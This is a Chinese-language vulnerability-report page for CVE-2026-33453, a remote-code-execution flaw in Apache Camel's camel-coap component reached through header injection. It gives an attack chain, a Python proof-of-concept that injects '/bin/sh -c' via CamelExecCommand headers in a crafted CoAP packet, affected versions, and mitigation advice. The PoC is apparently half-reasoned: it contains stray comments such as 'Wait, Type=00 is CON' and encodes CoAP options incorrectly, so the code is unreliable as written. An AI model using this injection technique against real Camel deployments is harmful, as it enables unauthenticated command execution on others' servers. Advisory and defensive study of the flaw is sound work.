IPBUF安全漏洞报告
English
CVE-2026-33453 CVSS 10.0 严重

CVE-2026-33453 Apache Camel远程代码执行漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-33453
漏洞类型
远程代码执行
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Camel

相关标签

RCEApache CamelCoAPHeader InjectionCVE-2026-33453

漏洞概述

Apache Camel的camel-coap组件存在严重的消息头注入漏洞,导致远程代码执行。由于组件未应用HeaderFilterStrategy,攻击者可发送特制CoAP请求将URI查询参数注入为Camel内部消息头。当消息被转发至camel-exec等敏感组件时,攻击者可覆盖命令配置,从而以Camel进程权限执行任意系统代码。

技术细节

该漏洞源于Apache Camel的camel-coap组件在处理CoAP请求时存在设计缺陷。CamelCoapResource.handleRequest()方法直接遍历OptionSet.getUriQuery(),并将所有查询参数通过setHeader方法设置到Camel Exchange的消息头中,且完全没有应用HeaderFilter策略。由于CoAPEndpoint继承自DefaultEndpoint而非DefaultHeaderFilterStrategyEndpoint,导致攻击者能够注入如“CamelExecCommandExecutable”等Camel内部保留消息头。当攻击者控制的路由将消息转发至camel-exec、camel-sql或camel-bean等对消息头敏感的生产者组件时,这些注入的消息头将覆盖组件原本配置的参数。具体而言,在camel-exec组件中,攻击者可通过注入的消息头指定可执行文件及其参数,从而在服务器端以Camel进程的权限执行任意操作系统命令,并获取执行结果。

攻击链分析

STEP 1
侦查
攻击者扫描目标网络,寻找开放在默认端口5683的Apache Camel CoAP服务。
STEP 2
消息头注入
攻击者向目标CoAP端点发送特制的UDP数据包,其中包含恶意的URI查询参数,旨在注入Camel内部消息头(如CamelExecCommandExecutable)。
STEP 3
漏洞触发
camel-coap组件接收请求,由于缺乏过滤,将恶意参数设置为Exchange消息头。当Camel路由将消息转发至敏感组件(如camel-exec)时,这些消息头覆盖了原有配置。
STEP 4
命令执行
攻击者注入的命令(如/bin/sh)被camel-exec组件执行。执行结果被写入Exchange body。
STEP 5
数据回传
camel-coap将包含命令执行结果的Exchange body作为CoAP响应载荷发送回攻击者,完成RCE交互。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Exploit for CVE-2026-33453 # Sends a malicious CoAP packet to inject headers and execute commands # Target: Apache Camel camel-coap component def build_coap_packet(payload): # CoAP Header (Version 1, Type CON, Token Length 0, Code GET, Message ID 1234) # 0x01 (Ver/Type/TKL) -> Ver=01, Type=00(CON), TKL=0000 => 01 00 00 00 = 0x40 # Wait, Type=00 is CON. 01 00 00 00 -> 0100 (Ver/Type) 0000 (TKL) -> 0x40 # Code: GET (0.01) -> 0x01 msg_id = 1234 header = struct.pack("!BBH", 0x40, 0x01, msg_id) # Options (Uri-Path and Uri-Query) # We need to inject CamelExecCommandExecutable and CamelExecCommandArgs # Option format: Delta + Length + Value # Option 11 (Uri-Path), Delta 11, Length 4, Value "exec" # Delta: 11 (0x0B), Length: 4 (0x04) path_opt = struct.pack("!BB", 0x0B, 0x04) + b"exec" # Option 15 (Uri-Query), Delta 4 (15-11), Length for key/value # Key: CamelExecCommandExecutable, Value: /bin/sh # Constructing query string: CamelExecCommandExecutable=/bin/sh&CamelExecCommandArgs=-c|whoami # CoAP options are separate, but usually parsed as key=value in query params # Let's simplify by sending raw query string in one option if the parser allows, # but standard CoAP splits them. However, Camel parses the OptionSet. # We will simulate the minimal packet needed for the PoC logic described. query1 = b"CamelExecCommandExecutable=/bin/sh" query_opt1 = struct.pack("!BB", 0x04, len(query1)) + query1 # Delta 4 from 11 is 15 (Uri-Query) query2 = b"CamelExecCommandArgs=-c%20echo%20PWNED" query_opt2 = struct.pack("!BB", 0x00, len(query2)) + query2 # Delta 0, same option 15 # Payload Marker (0xFF) payload_marker = b"\xFF" packet = header + path_opt + query_opt1 + query_opt2 + payload_marker + payload.encode() return packet def send_exploit(target_ip, target_port=5683): payload = "exploit_data" packet = build_coap_packet(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Sent exploit packet to {target_ip}:{target_port}") print(f"[+] Attempting to execute: /bin/sh -c 'echo PWNED'") sock.close() if __name__ == "__main__": # Replace with actual target IP send_exploit("127.0.0.1")

影响范围

Apache Camel 4.14.0 - 4.14.5
Apache Camel 4.18.0 (before 4.18.1)
Apache Camel 4.19.0

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应在网络边界限制对CoAP端口(5683/UDP)的访问,仅允许受信任的IP连接。同时,确保Camel路由中不将未经过滤的CoAP输入直接传递给camel-exec等高风险组件,并启用DTLS以增加传输层安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表